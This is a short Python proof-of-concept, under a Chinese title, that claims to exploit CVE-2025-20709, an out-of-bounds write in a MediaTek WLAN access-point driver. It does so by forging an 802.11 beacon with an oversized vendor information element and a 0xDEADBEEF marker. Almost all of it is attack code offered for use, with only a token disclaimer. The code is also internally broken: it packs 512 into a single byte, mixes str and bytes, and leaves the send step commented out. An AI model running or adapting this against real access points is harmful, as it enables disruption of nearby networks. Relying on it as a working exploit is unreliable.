CVE-2025-20709 MediaTek WLAN AP驱动越界写入漏洞

# CVE-2025-20709 PoC - MediaTek WLAN AP Driver Out of Bounds Write # Vulnerability: OOB Write due to incorrect bounds check in wlan AP driver # Attack Vector: Adjacent network (802.11 frames) import struct import sys def build_malicious_80211_frame(target_bssid, trigger_value, overflow_size=256): """ Build a malicious 802.11 frame to trigger OOB write in MediaTek WLAN AP driver. The frame exploits incorrect bounds checking in the driver. """ # 802.11 MAC header - Management frame (Beacon/Probe Response variant) frame_control = struct.pack('<H', 0x0080) # Beacon frame duration = struct.pack('<H', 0x0000) addr1 = b'\xff\xff\xff\xff\xff\xff' # Destination: broadcast addr2 = target_bssid # Source: target AP BSSID addr3 = target_bssid # BSSID seq_ctrl = struct.pack('<H', 0x0000) mac_header = frame_control + duration + addr1 + addr2 + addr3 + seq_ctrl # Frame body with crafted parameters to trigger OOB write # Timestamp (8 bytes) timestamp = struct.pack('<Q', 0x0000000000000000) # Beacon interval (2 bytes) beacon_interval = struct.pack('<H', 0x0064) # Capability info (2 bytes) capability = struct.pack('<H', 0x0431) # Crafted IE (Information Element) with oversized length to trigger OOB write # The driver fails to properly validate the length field ie_tag = struct.pack('B', 0xDD) # Vendor Specific IE tag ie_length = struct.pack('B', overflow_size) # Overly large length value ie_oui = b'\x00\x0c\x43' # MediaTek OUI # Payload designed to overflow the buffer boundary overflow_payload = b'\x41' * overflow_size # Set trigger value at specific offset to control write destination overflow_payload = overflow_payload[:trigger_value] + struct.pack('<I', 0xDEADBEEF) + overflow_payload[trigger_value+4:] frame_body = timestamp + beacon_interval + capability + ie_tag + ie_length + ie_oui + overflow_payload # FCS (Frame Check Sequence) - dummy fcs = struct.pack('<I', 0x00000000) return mac_header + frame_body + fcs def exploit(target_bssid='\x00\x0c\x43\x00\x00\x01', interface='wlan0'): """ Main exploit function for CVE-2025-20709. Sends crafted 802.11 frames to trigger OOB write in MediaTek WLAN AP driver. """ print(f"[*] CVE-2025-20709 - MediaTek WLAN AP Driver OOB Write Exploit") print(f"[*] Target BSSID: {target_bssid.hex()}") print(f"[*] Interface: {interface}") # Build malicious frame frame = build_malicious_80211_frame(target_bssid, trigger_value=128, overflow_size=512) print(f"[*] Crafted frame size: {len(frame)} bytes") print(f"[!] WARNING: This PoC is for authorized security testing only.") print(f"[*] Sending malicious frame...") # In actual exploitation, use raw sockets or scapy to inject the frame: # from scapy.all import * # sendp(frame, iface=interface) return frame if __name__ == '__main__': exploit()